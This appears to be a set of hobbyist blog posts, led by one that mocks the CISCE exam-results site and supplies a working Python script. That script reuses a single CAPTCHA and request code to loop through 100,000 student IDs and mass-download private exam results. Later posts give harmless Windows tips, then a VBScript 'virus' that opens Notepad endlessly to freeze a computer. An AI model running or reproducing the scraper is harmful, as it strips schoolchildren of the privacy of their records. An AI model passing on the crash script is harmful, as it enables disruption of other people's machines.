'Secure and Private' Indian Websites : CISCE again!

Apparently, after the last year's breach of private and confidential marks data of students CISCE (Council For The Indian School Certificate Examinations, New Delhi) took certain protective measures to ensure no mass download of student data and to ensure the privacy for every student.

The following were the measures taken:

i) UID (Unique Identification): Each student is now given a unique ID instead of a sequential Index number for a group of students. So, now you cannot just add one to your Index number to see the result of the person who was sitting behind you in the examination.

ii) The CAPTCHA: As Indian websites are technically awesome with CAPTCHA, The Council gave us yet another example. You, apparently, need to enter the CAPTCHA each time you view a result.

Secure Enough? Bitch Please!

Cracking the Code:

The UID is a seven digit number! Of these the numbers of format 57xxxxx seem to work for the ICSE result. "So we can loop through each UID from 5700000 to 5800000 and download the results!" is what you are saying?

But the CAPTCHA!

Well guess what, you can simply send innumerable HTTP GET requests to the specific link with the same CAPTCHA. The GET request is sent to a URL of format:

http://www.cisce.org/Results/Result/ShowResult?courseCode=ICSE&uniqueId=<THE_UID_HERE>&captcha=<THE_CAPTCHA_CODE_HERE>&code=<THE_REQUEST_ID_HERE>

So, we visit http://www.cisce.org/Results to see a result, the genuine way. (You can be that honest, right?). View the page source and copy the RequestId. Now you have the RequestId and the CAPTCHA of 5 letters. Paste it at respective places in the link above with a valid UID and Bingo! The result is before you.

With that said you can simply automate the task to read the data of each and every student to you. But the UIDs are not sequential right? Okay, save the data in a database and sort by the specific school. Cool and simple enough.

For the proof hungry here is a proof of concept python script which saves the data of each student in HTML files for you.

#! /usr/bin/env python
# ICSEtroller.py
# Author : Abdul Fatir

import urllib2
startUID = 5700000
endUID = 5800000
HTTPopener = urllib2.build_opener()
URL_1 = "http://www.cisce.org/Results/Result/ShowResult?courseCode=ICSE&uniqueId="
URL_2 = "&captcha=NPJGV&code=xCleI05nxKpy8Utv4okpig=="

for i in range(startUID, endUID):
    HTTPresponse = HTTPopener.open(URL_1+str(i)+URL_2)
    received_data = HTTPresponse.read()
    _file = open(str(i)+".html","w")
    _file.write(received_data)
    _file.close()

    

Create WiFi Hotspot using Command Prompt

The following are the steps to create a WiFi hotspot using Command Line:

a) Open an Administrator Command Prompt.
b) Type netsh and press enter.
c) Type wlan and press enter.
d) Create a hosted network by typing the following command:

set hostednetwork mode=allow ssid=NetworkName key=password

e) Type the following command to start the created hotspot:

start hostednetwork

f) Anytime when you're done, type the following to stop it:

stop hostednetwork

Add Computer Shortcut to Windows (7 & 8) TaskBar

The Windows 7 and 8 Taskbar has the Libraries Shortcut pinned to it which takes you to the Libraries i.e. Documents, Music etc. but not to MyComputer. Here is how to add My Computer.

a) Unpin the Libraries shortcut from the taskbar.

b) Right Click on Desktop and click on New > Shortcut.

c) Type the following in the location:

C:\Windows\explorer.exe shell:MyComputerFolder

d) Click Next. Type any name for the shortcut and click Finish.

e) Right Click on the shortcut and click Pin to Taskbar.

[VBScript] Type your text and convert it to speech

Here is a very simple VBScript to convert your text into audio. Type the following code in notepad:

    Dim m,s
    m=InputBox("Enter your text","Say It!")
    Set s=CreateObject("sapi.spvoice")
    s.Speak m

Save this file as "txtspeech.vbs" (with quotes) and double click to run. Type your text and click OK. 

It will be heard as audio.

[VBScript] A very simple virus to crash any system

Following is a very simple VBScript that will crash your computer. Now obviously crash does not mean that it would blast or something. It simply means that it would open a lot and lot of notepads such that your computer will stop responding or will respond like a snail for sometime due to overuse of CPU and RAM resources. The obvious solution is restarting your system.

• Copy the following code in notepad:

Set Ws = WScript.CreateObject("WScript.Shell")
do
Ws.Run "notepad.exe"
loop

• Save the file as "infinitenotepads.vbs" (with quotes i.e. a file with any name and extension .vbs)
• Open this file by double clicking and see the 'magic'.